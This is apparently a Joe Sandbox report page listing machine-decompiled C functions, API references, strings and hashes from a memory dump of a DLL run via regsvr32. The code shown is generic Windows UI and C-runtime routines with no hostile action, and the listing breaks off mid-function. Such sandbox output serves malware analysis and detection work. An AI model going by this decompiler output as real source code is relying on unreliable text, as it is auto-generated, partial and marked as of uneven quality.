Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Bitmap$CheckCreateDimensionsLoadMarkMenu_memset
String ID:
API String ID: 4271682439-3916222277
Opcode ID: 3e5046194a266def18f3053d98baadb852e98d25a38dff75d9b01cf021fd6ded
Instruction ID: c2c6b578925199e533e072813e03b7e9fe508ee7c01dceca83256e8b47993261
Opcode Fuzzy Hash: 3e5046194a266def18f3053d98baadb852e98d25a38dff75d9b01cf021fd6ded
Instruction Fuzzy Hash: 5A312771A00665DFEF208FA8DC84B9D7FB9FB45304F4545AAF549EB281CB308A859F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A25E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EB4A25E(void* __edi, intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				int _t14;
				int _t18;
				intOrPtr* _t23;
				void* _t25;

				if(E6EB4A0A9() == 0) {
					if(_a4 != 0x12340042) {
						L9:
						_t14 = 0;
						L10:
						return _t14;
					}
					_t23 = _a8;
					if(_t23 == 0 ||  *_t23 < 0x28 || SystemParametersInfoA(0x30, 0,  &_v20, 0) == 0) {
						goto L9;
					} else {
						 *((intOrPtr*)(_t23 + 4)) = 0;
						 *((intOrPtr*)(_t23 + 8)) = 0;
						 *((intOrPtr*)(_t23 + 0xc)) = GetSystemMetrics(0);
						_t18 = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						 *(_t23 + 0x10) = _t18;
						 *((intOrPtr*)(_t23 + 0x24)) = 1;
						if( *_t23 >= 0x48) {
							E6EB66DA9(_t25, _t23 + 0x28, 0x20, "DISPLAY", 0x1f);
						}
						_t14 = 1;
						goto L10;
					}
				}
				return  *0x6eb8c528(_a4, _a8);
			}

0x6eb4a26d
0x6eb4a286
0x6eb4a2f1
0x6eb4a2f1
0x6eb4a2f3
0x00000000
0x6eb4a2f4
0x6eb4a288
0x6eb4a28f
0x00000000
0x6eb4a2a8
0x6eb4a2a9
0x6eb4a2ac
0x6eb4a2ba
0x6eb4a2bd
0x6eb4a2c5
0x6eb4a2c6
0x6eb4a2c7
0x6eb4a2c8
0x6eb4a2cf
0x6eb4a2d2
0x6eb4a2d6
0x6eb4a2e5
0x6eb4a2ea
0x6eb4a2ed
0x00000000
0x6eb4a2ed
0x6eb4a28f
0x00000000

APIs

SystemParametersInfoA.USER32(00000030,00000000,00000000,00000000), ref: 6EB4A29E
GetSystemMetrics.USER32 ref: 6EB4A2B6
GetSystemMetrics.USER32 ref: 6EB4A2BD

Strings

DISPLAY, xrefs: 6EB4A2DA
B, xrefs: 6EB4A27D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: System$Metrics$InfoParameters
String ID: B$DISPLAY
API String ID: 3136151823-3316187204
Opcode ID: 053b0f7f753ab375a37f59fa7960cf8cb6c6e6f0b33376798dfe37fab502332b
Instruction ID: 4f69112b535743c8e1c40156f253ceaa93981210ea52bb0597f85c987e15ff50
Opcode Fuzzy Hash: 053b0f7f753ab375a37f59fa7960cf8cb6c6e6f0b33376798dfe37fab502332b
Instruction Fuzzy Hash: 5F11B2B1501266EBDF119FA48C80A9B7FA8EF0A750B014471FD14BE149E672C440EF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52B1C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB52B1C(void* __ebx, void* __ecx, void* __edx, void* __eflags, struct HWND__** _a4) {
				void* __edi;
				struct HWND__* _t10;
				struct HWND__* _t12;
				struct HWND__* _t14;
				struct HWND__* _t15;
				int _t19;
				void* _t21;
				void* _t25;
				struct HWND__** _t26;
				void* _t27;

				_t25 = __edx;
				_t21 = __ebx;
				_t26 = _a4;
				_t27 = __ecx;
				if(E6EB4AA6A(__ecx, __eflags, _t26) == 0) {
					_t10 = L6EB4D076(__ecx);
					__eflags = _t10;
					if(_t10 == 0) {
						L5:
						__eflags = _t26[1] - 0x100;
						if(_t26[1] != 0x100) {
							L13:
							return E6EB4AF4D(_t26);
						}
						_t12 = _t26[2];
						__eflags = _t12 - 0x1b;
						if(_t12 == 0x1b) {
							L8:
							__eflags = GetWindowLongA( *_t26, 0xfffffff0) & 0x00000004;
							if(__eflags == 0) {
								goto L13;
							}
							_t14 = E6EB5446C(_t21, _t25, _t26, __eflags,  *_t26, "Edit");
							__eflags = _t14;
							if(_t14 == 0) {
								goto L13;
							}
							_t15 = GetDlgItem( *(_t27 + 0x20), 2);
							__eflags = _t15;
							if(_t15 == 0) {
								L12:
								SendMessageA( *(_t27 + 0x20), 0x111, 2, 0);
								goto L1;
							}
							_t19 = IsWindowEnabled(_t15);
							__eflags = _t19;
							if(_t19 == 0) {
								goto L13;
							}
							goto L12;
						}
						__eflags = _t12 - 3;
						if(_t12 != 3) {
							goto L13;
						}
						goto L8;
					}
					__eflags =  *(_t10 + 0x68);
					if( *(_t10 + 0x68) == 0) {
						goto L5;
					}
					return 0;
				}
				L1:
				return 1;
			}

0x6eb52b1c
0x6eb52b1c
0x6eb52b23
0x6eb52b27
0x6eb52b30
0x6eb52b39
0x6eb52b3e
0x6eb52b40
0x6eb52b4c
0x6eb52b4c
0x6eb52b53
0x6eb52bae
0x00000000
0x6eb52bb1
0x6eb52b55
0x6eb52b58
0x6eb52b5b
0x6eb52b62
0x6eb52b6c
0x6eb52b6e
0x00000000
0x00000000
0x6eb52b77
0x6eb52b7c
0x6eb52b7e
0x00000000
0x00000000
0x6eb52b85
0x6eb52b8b
0x6eb52b8d
0x6eb52b9a
0x6eb52ba6
0x00000000
0x6eb52ba6
0x6eb52b90
0x6eb52b96
0x6eb52b98
0x00000000
0x00000000
0x00000000
0x6eb52b98
0x6eb52b5d
0x6eb52b60
0x00000000
0x00000000
0x00000000
0x6eb52b60
0x6eb52b42
0x6eb52b46
0x00000000
0x00000000
0x00000000
0x6eb52b48
0x6eb52b32
0x00000000

Strings

Edit, xrefs: 6EB52B70

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID:
String ID: Edit
API String ID: 0-554135844
Opcode ID: d1eca95350eddd9b62c7a1b3f4604cba5875c6ab8458684c7a9d358ff34769f5
Instruction ID: 66cba6faf803e23d7f2ab011a72068078d3daef35765e56574bd4414cd631496
Opcode Fuzzy Hash: d1eca95350eddd9b62c7a1b3f4604cba5875c6ab8458684c7a9d358ff34769f5
Instruction Fuzzy Hash: B811A531251296AFFE501EA6CD04F5ABEBEEB61750F014434E552F77A0DB61D870CA50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6CD78 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EB6CD78(void* __edx, void* __esi, intOrPtr* _a4) {
				signed int _v8;
				intOrPtr _t11;
				intOrPtr* _t15;
				intOrPtr* _t19;
				void* _t23;
				void* _t25;

				_t26 = __esi;
				_t24 = __edx;
				_t11 =  *((intOrPtr*)( *_a4));
				if(_t11 == 0xe0434f4d) {
					__eflags =  *((intOrPtr*)(E6EB6A81F(_t23, __edx, _t25, __eflags) + 0x90));
					if(__eflags > 0) {
						_t15 = E6EB6A81F(_t23, __edx, _t25, __eflags) + 0x90;
						 *_t15 =  *_t15 - 1;
						__eflags =  *_t15;
					}
					goto L5;
				} else {
					_t32 = _t11 - 0xe06d7363;
					if(_t11 != 0xe06d7363) {
						L5:
						__eflags = 0;
						return 0;
					} else {
						 *(E6EB6A81F(_t23, __edx, _t25, _t32) + 0x90) =  *(_t16 + 0x90) & 0x00000000;
						_push(8);
						_push(0x6eb85640);
						E6EB66608(_t23, _t25, __esi);
						_t19 =  *((intOrPtr*)(E6EB6A81F(_t23, __edx, _t25, _t32) + 0x78));
						if(_t19 != 0) {
							_v8 = _v8 & 0x00000000;
							 *_t19();
							_v8 = 0xfffffffe;
						}
						return E6EB6664D(E6EB6DF1C(_t23, _t24, _t25, _t26));
					}
				}
			}

0x6eb6cd78
0x6eb6cd78
0x6eb6cd82
0x6eb6cd89
0x6eb6cda8
0x6eb6cdaf
0x6eb6cdb6
0x6eb6cdbb
0x6eb6cdbb
0x6eb6cdbb
0x00000000
0x6eb6cd8b
0x6eb6cd8b
0x6eb6cd90
0x6eb6cdbd
0x6eb6cdbd
0x6eb6cdc0
0x6eb6cd92
0x6eb6cd97
0x6eb6d982
0x6eb6d984
0x6eb6d989
0x6eb6d993
0x6eb6d998
0x6eb6d99a
0x6eb6d99e
0x6eb6d9a9
0x6eb6d9a9
0x6eb6d9ba
0x6eb6d9ba
0x6eb6cd90

APIs

__getptd.LIBCMT ref: 6EB6CD92

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6CDA3
__getptd.LIBCMT ref: 6EB6CDB1

Strings

MOC, xrefs: 6EB6CD84
csm, xrefs: 6EB6CD8B

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: MOC$csm
API String ID: 803148776-1389381023
Opcode ID: 20cb43ae2f54064935cf5b8c04aa5c9f8283909a22aa5e018337ea8793d4bd85
Instruction ID: 3c6b56f79ed4d032a7d656e95158feb65923ebf80530f25bc29addd23a525c07
Opcode Fuzzy Hash: 20cb43ae2f54064935cf5b8c04aa5c9f8283909a22aa5e018337ea8793d4bd85
Instruction Fuzzy Hash: 42E08C311202988FCB409BE4C084BDC3FA8FF99318F1548A2D51CDF222EB34EC418E52

Uniqueness

Uniqueness Score: -1.00%

Function 6EB41920 Relevance: 7.6, APIs: 5, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB41920(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				intOrPtr* _t67;
				intOrPtr* _t68;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr* _t74;
				signed int _t80;

				_push(0xffffffff);
				_push(0x6eb78934);
				_push( *[fs:0x0]);
				_t39 =  *0x6eb89470; // 0x6287ae78
				_push(_t39 ^ _t80);
				 *[fs:0x0] =  &_v12;
				_t74 = _a4;
				E6EB52A40(_t74, 0x66, 0);
				_v12 = 0;
				 *_t74 = 0x6eb7ed74;
				 *((intOrPtr*)(_t74 + 0x78)) = 0;
				 *((intOrPtr*)(_t74 + 0x74)) = 0x6eb79cf0;
				_v12 = 1;
				E6EB47200(0, _t74 + 0x7c);
				_t67 = _t74 + 0xf4;
				_v16 = 2;
				E6EB4B426(_t67, 0);
				 *_t67 = 0x6eb7af94;
				_t68 = _t74 + 0x148;
				_v16 = 3;
				E6EB46A20(0, _t68);
				 *_t68 = 0x6eb7e974;
				 *((intOrPtr*)(_t68 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t68 + 0x7c)) = 0;
				 *((intOrPtr*)(_t68 + 0x80)) = 0;
				 *((intOrPtr*)(_t68 + 0x7c)) = GetStockObject(0);
				_t69 = _t74 + 0x1cc;
				_v24 = 4;
				E6EB46A20(0, _t69);
				 *_t69 = 0x6eb7e974;
				 *((intOrPtr*)(_t69 + 0x7c)) = 0;
				 *((intOrPtr*)(_t69 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t69 + 0x80)) = 0;
				 *((intOrPtr*)(_t69 + 0x7c)) = GetStockObject(0);
				_t70 = _t74 + 0x250;
				_v32 = 5;
				E6EB46A20(0, _t70);
				 *_t70 = 0x6eb7e974;
				 *((intOrPtr*)(_t70 + 0x7c)) = 0;
				 *((intOrPtr*)(_t70 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t70 + 0x80)) = 0;
				 *((intOrPtr*)(_t70 + 0x7c)) = GetStockObject(0);
				_t71 = _t74 + 0x2d4;
				_v40 = 6;
				E6EB46A20(0, _t71);
				 *_t71 = 0x6eb7e974;
				 *((intOrPtr*)(_t71 + 0x7c)) = 0;
				 *((intOrPtr*)(_t71 + 0x78)) = 0x6eb79cf0;
				 *((intOrPtr*)(_t71 + 0x80)) = 0;
				 *((intOrPtr*)(_t71 + 0x7c)) = GetStockObject(0);
				_v48 = 7;
				E6EB53D20(0, _t71, _t74, 0);
				 *((intOrPtr*)(_t74 + 0x358)) = LoadIconA( *(E6EB53D20(0, _t71, _t74, 0) + 0xc), 0x80);
				 *[fs:0x0] = _v56;
				return _t74;
			}

0x6eb41920
0x6eb41922
0x6eb4192d
0x6eb41932
0x6eb41939
0x6eb4193e
0x6eb41944
0x6eb4194f
0x6eb41954
0x6eb41958
0x6eb41963
0x6eb41966
0x6eb4196d
0x6eb41972
0x6eb41977
0x6eb4197f
0x6eb41984
0x6eb41989
0x6eb4198f
0x6eb41996
0x6eb4199b
0x6eb419a0
0x6eb419a6
0x6eb419af
0x6eb419b3
0x6eb419bb
0x6eb419be
0x6eb419c5
0x6eb419ca
0x6eb419cf
0x6eb419d5
0x6eb419d8
0x6eb419e0
0x6eb419e8
0x6eb419eb
0x6eb419f2
0x6eb419f7
0x6eb419fc
0x6eb41a02
0x6eb41a05
0x6eb41a0d
0x6eb41a15
0x6eb41a18
0x6eb41a1f
0x6eb41a24
0x6eb41a29
0x6eb41a2f
0x6eb41a32
0x6eb41a3a
0x6eb41a42
0x6eb41a45
0x6eb41a4a
0x6eb41a63
0x6eb41a6f
0x6eb41a7e

APIs

Part of subcall function 6EB52A40: _memset.LIBCMT ref: 6EB52A5C

GetStockObject.GDI32(00000000), ref: 6EB419B9
GetStockObject.GDI32(00000000), ref: 6EB419E6
GetStockObject.GDI32(00000000), ref: 6EB41A13
GetStockObject.GDI32(00000000), ref: 6EB41A40
LoadIconA.USER32 ref: 6EB41A5D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ObjectStock$IconLoad_memset
String ID:
API String ID: 1965300055-0
Opcode ID: 95aada5d83b95438ffe4265f8d21b88bee18ec22ca3ea21b9ea92c9b87e92443
Instruction ID: 31d295ea9c54762344bf724ab3f08eb1dea3ea09ec1d53974f16ad1aab7574ac
Opcode Fuzzy Hash: 95aada5d83b95438ffe4265f8d21b88bee18ec22ca3ea21b9ea92c9b87e92443
Instruction Fuzzy Hash: E6415CB1404BC6AFD711CFAAC88078AFFE8BF49704F00492DD1A997611CB74A514DFA6

Uniqueness

Uniqueness Score: -1.00%

Function 6EB53F78 Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB53F78(intOrPtr* __ecx, int* _a4) {
				int _v8;
				int _t12;
				int _t14;
				int _t22;
				int _t32;
				int* _t36;

				_push(__ecx);
				_t35 = __ecx;
				if(__ecx == 0) {
					_t22 =  *0x6eb8c908; // 0x60
					_t12 =  *0x6eb8c90c; // 0x60
					goto L6;
				} else {
					_t32 = GetMapMode( *(__ecx + 8));
					if(_t32 >= 7 || _t32 == 1) {
						_t22 = GetDeviceCaps( *(_t35 + 8), 0x58);
						_t12 = GetDeviceCaps( *(_t35 + 8), 0x5a);
						L6:
						_t36 = _a4;
						_v8 = _t12;
						 *_t36 = MulDiv( *_t36, 0x9ec, _t22);
						_t14 = MulDiv(_t36[1], 0x9ec, _v8);
						_t36[1] = _t14;
					} else {
						_push(3);
						 *((intOrPtr*)( *__ecx + 0x34))();
						E6EB4982A(__ecx, _a4);
						_push(_t32);
						_t14 =  *((intOrPtr*)( *__ecx + 0x34))();
					}
				}
				return _t14;
			}

0x6eb53f7d
0x6eb53f80
0x6eb53f85
0x6eb53fd1
0x6eb53fd7
0x00000000
0x6eb53f87
0x6eb53f90
0x6eb53f95
0x6eb53fcb
0x6eb53fcd
0x6eb53fdc
0x6eb53fdc
0x6eb53fee
0x6eb53ff6
0x6eb53ffc
0x6eb53ffe
0x6eb53f9c
0x6eb53f9e
0x6eb53fa2
0x6eb53faa
0x6eb53fb1
0x6eb53fb4
0x6eb53fb4
0x6eb53f95
0x6eb54005

APIs

GetMapMode.GDI32(?), ref: 6EB53F8A
GetDeviceCaps.GDI32(?,00000058), ref: 6EB53FC4
GetDeviceCaps.GDI32(?,0000005A), ref: 6EB53FCD

Part of subcall function 6EB4982A: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB4986C
Part of subcall function 6EB4982A: MulDiv.KERNEL32(?,00000000,00000000), ref: 6EB49889

MulDiv.KERNEL32(?,000009EC,00000060), ref: 6EB53FF1
MulDiv.KERNEL32(?,000009EC,?), ref: 6EB53FFC

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CapsDevice$Mode
String ID:
API String ID: 696222070-0
Opcode ID: a6861330a03554fb953f1a506f1f682fb4e4aa92ab0c4a6209df2688ffb18368
Instruction ID: 210b0f9cd551eab6e0fb7cbe869450087598f37506c354923e52a13d72ccc8e6
Opcode Fuzzy Hash: a6861330a03554fb953f1a506f1f682fb4e4aa92ab0c4a6209df2688ffb18368
Instruction Fuzzy Hash: 6411AC72600B54AFDF12AF99CC48C0EBBB9EF9A710B124419FA8597760C772EC518F90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB54322 Relevance: 7.6, APIs: 5, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E6EB54322(void* __ecx, intOrPtr __edx, struct HWND__* _a4, CHAR* _a8) {
				signed int _v8;
				char _v263;
				char _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				struct HWND__* _t22;
				intOrPtr _t23;
				void* _t24;
				intOrPtr _t27;
				void* _t28;
				int _t29;
				intOrPtr _t30;
				CHAR* _t32;
				intOrPtr _t33;
				signed int _t37;

				_t27 = __edx;
				_t24 = __ecx;
				_t35 = _t37;
				_t9 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t9 ^ _t37;
				_t22 = _a4;
				_t32 = _a8;
				_push(_t28);
				_t41 = _t22;
				if(_t22 == 0) {
					L2:
					E6EB48BA4(_t22, _t24, _t28, _t32, _t41);
				}
				if(_t32 == 0) {
					goto L2;
				}
				_t29 = lstrlenA(_t32);
				_v264 = 0;
				E6EB65E80(_t29,  &_v263, 0, 0xff);
				if(_t29 > 0x100 || GetWindowTextA(_t22,  &_v264, 0x100) != _t29 || lstrcmpA( &_v264, _t32) != 0) {
					_t16 = SetWindowTextA(_t22, _t32);
				}
				_pop(_t30);
				_pop(_t33);
				_pop(_t23);
				return E6EB63DE0(_t16, _t23, _v8 ^ _t35, _t27, _t30, _t33);
			}

0x6eb54322
0x6eb54322
0x6eb54325
0x6eb5432d
0x6eb54334
0x6eb54338
0x6eb5433c
0x6eb5433f
0x6eb54340
0x6eb54342
0x6eb54344
0x6eb54344
0x6eb54344
0x6eb5434b
0x00000000
0x00000000
0x6eb54359
0x6eb54364
0x6eb5436b
0x6eb5437a
0x6eb543a3
0x6eb543a3
0x6eb543ac
0x6eb543ad
0x6eb543b0
0x6eb543b7

APIs

lstrlenA.KERNEL32(?,?,?), ref: 6EB5434E
_memset.LIBCMT ref: 6EB5436B
GetWindowTextA.USER32 ref: 6EB54385
lstrcmpA.KERNEL32(00000000,?,?,?), ref: 6EB54397
SetWindowTextA.USER32(00000000,?), ref: 6EB543A3

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: TextWindow$Exception@8H_prolog3Throw_memsetlstrcmplstrlen
String ID:
API String ID: 4273134663-0
Opcode ID: 6bc48595da7abe3d0d667c3af0941b180aaf8d630d0fa1f81934136585bd6012
Instruction ID: 6bf6e37c28b25e011d45a472d5f78341cb4e8be11eacb7d93c9ef22e1ea8f884
Opcode Fuzzy Hash: 6bc48595da7abe3d0d667c3af0941b180aaf8d630d0fa1f81934136585bd6012
Instruction Fuzzy Hash: 4F01C4B2601258ABDF10AEA5CD84BDE7B6CEF55354F010461F906E3240DA70995587A0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6E289 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E6EB6E289(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x6eb856a0);
				E6EB66608(__ebx, __edi, __esi);
				_t31 = E6EB6A81F(__ebx, __edx, __edi, _t35);
				_t15 =  *0x6eb8a04c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E6EB6AEB4(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x6eb89f50; // 0x4771620
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x6eb89b28;
								if(__eflags != 0) {
									_push(_t33);
									E6EB642E6(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x6eb89f50; // 0x4771620
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x6eb89f50; // 0x4771620
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E6EB6E324();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E6EB66ECD(_t29, _t31, 0x20);
				}
				return E6EB6664D(_t33);
			}

0x6eb6e289
0x6eb6e289
0x6eb6e289
0x6eb6e289
0x6eb6e28b
0x6eb6e290
0x6eb6e29a
0x6eb6e29c
0x6eb6e2a4
0x6eb6e2c5
0x6eb6e2cb
0x6eb6e2cf
0x6eb6e2d2
0x6eb6e2d5
0x6eb6e2db
0x6eb6e2dd
0x6eb6e2df
0x6eb6e2e2
0x6eb6e2e8
0x6eb6e2ea
0x6eb6e2ec
0x6eb6e2f2
0x6eb6e2f4
0x6eb6e2f5
0x6eb6e2fa
0x6eb6e2f2
0x6eb6e2ea
0x6eb6e2fb
0x6eb6e300
0x6eb6e303
0x6eb6e309
0x6eb6e30d
0x6eb6e30d
0x6eb6e313
0x6eb6e31a
0x6eb6e2ac
0x6eb6e2ac
0x6eb6e2ac
0x6eb6e2b1
0x6eb6e2b5
0x6eb6e2ba
0x6eb6e2c2

APIs

__getptd.LIBCMT ref: 6EB6E295

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__amsg_exit.LIBCMT ref: 6EB6E2B5
__lock.LIBCMT ref: 6EB6E2C5
InterlockedDecrement.KERNEL32(?), ref: 6EB6E2E2
InterlockedIncrement.KERNEL32(04771620), ref: 6EB6E30D

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 80827d76a4efa5f2e1a4a4b0b45bde592b25a51755b011eb90541524f89bf657
Instruction ID: 7e04993b826f49c94952254b0c8958f7b4b1628a3e679c30d3b00c7898d63d8d
Opcode Fuzzy Hash: 80827d76a4efa5f2e1a4a4b0b45bde592b25a51755b011eb90541524f89bf657
Instruction Fuzzy Hash: B3018031D55AA2DBDF519FE4884878E7FA4FF02714F150809E85867784CB34AA41CFD1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB44E80 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 457
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB44E80() {
				intOrPtr _t205;
				signed int _t208;
